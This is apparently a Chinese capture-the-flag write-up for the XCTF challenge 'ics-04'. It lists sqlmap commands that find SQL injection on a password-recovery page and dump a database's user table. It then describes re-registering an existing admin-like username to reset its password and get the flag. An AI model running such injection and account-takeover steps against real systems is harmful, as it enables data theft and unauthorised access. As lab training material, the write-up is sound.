您的位置:首页 > 其它

[wp] 攻防世界 ics-04

2020-01-12 22:16 309 查看

尝试注册登陆账号

扫了下目录没发现什么,用sqlmap把每个页面跑过去,发现在找回密码页面有注入

sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1"
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" --dbs
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 --tables
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user --columns
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user -C username&password --dump


被hash加密了,发现注册页面可以再次注册c3tlwDmIn23这个账号,成功重置密码,登入得到flag

  • 点赞
  • 收藏
  • 分享
  • 文章举报
MercyLin 发布了31 篇原创文章 · 获赞 2 · 访问量 7109 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: